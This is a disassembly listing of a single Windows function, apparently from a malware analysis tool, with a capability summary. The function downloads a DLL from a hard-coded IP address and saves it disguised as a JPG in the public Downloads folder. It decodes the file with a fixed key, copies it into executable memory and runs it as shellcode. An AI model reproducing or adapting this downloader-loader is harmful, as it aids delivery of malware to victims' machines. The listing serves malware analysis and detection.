Function at 0x4027a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file attributes
Read file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
mov edi, 1
push esi
push ebx
push ecx
sub esp, 0x38
call fcn.00401840
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x404066
mov dword [esp + 4], 0x404066
mov dword [esp], 0
call esi
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x404066
mov dword [esp + 4], 0x404066
mov dword [esp], 0
call esi
sub esp, 0x10
call fcn.00401760
mov dword [esp], str.urlmon.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
test eax, eax
je 0x4029dc
mov dword [esp + 4], str.URLDownloadToFileA
mov ebx, eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
test eax, eax
je 0x402a27
mov dword [ebp - 0x1c], eax
mov dword [esp], str.C:UsersPublicDownloads1.jpg
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add eax, 1
push ecx
jne 0x402894
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x1c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.C:UsersPublicDownloads1.jpg
mov dword [esp + 4], str.http:__8.210.170.242_1.dll
mov dword [esp], 0
call edx
sub esp, 0x14
test eax, eax
js 0x402a03
mov dword [esp + 4], 0x404073
mov dword [esp], str.C:UsersPublicDownloads1.jpg
call sub.msvcrt.dll_fopen
mov esi, eax
test eax, eax
je 0x4029f2
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov dword [esp], esi
call sub.msvcrt.dll_ftell
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov edi, eax
mov dword [esp], esi
mov dword [ebp - 0x1c], eax
call sub.msvcrt.dll_fseek
mov dword [esp], edi
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x20], eax
test eax, eax
je 0x4029ea
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp], 1
call edi
mov ecx, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], ecx
mov dword [esp + 0xc], esi
mov dword [esp + 8], eax
mov dword [esp + 4], 1
call sub.msvcrt.dll_fread
mov dword [esp], esi
call sub.msvcrt.dll_fclose
mov dword [esp], 1
call edi
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
push edx
mov dword [esp], ecx
mov dword [esp + 4], esi
mov dword [esp + 8], str.abc123
call fcn.00401640
mov dword [esp], 1
call edi
mov dword [ebp - 0x1c], esi
push ecx
mov dword [esp + 4], esi
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov esi, eax
mov dword [esp], 1
call edi
mov ecx, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp], esi
call sub.msvcrt.dll_memcpy
mov dword [esp], 1
call edi
push eax
call esi
mov dword [esp], 0
call edi
mov ecx, dword [ebp - 0x20]
xor edi, edi
push eax
mov dword [esp], ecx
call sub.msvcrt.dll_free
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push eax
lea esp, [ebp - 0x10]
mov eax, edi
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
mov dword [esp], esi
call sub.msvcrt.dll_fclose
mov dword [esp], ebx
mov edi, 1
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push eax
jmp 0x4029dc
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.0001
mov dword [esp], 0
call esi
sub esp, 0x10
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edx
jmp 0x4029dc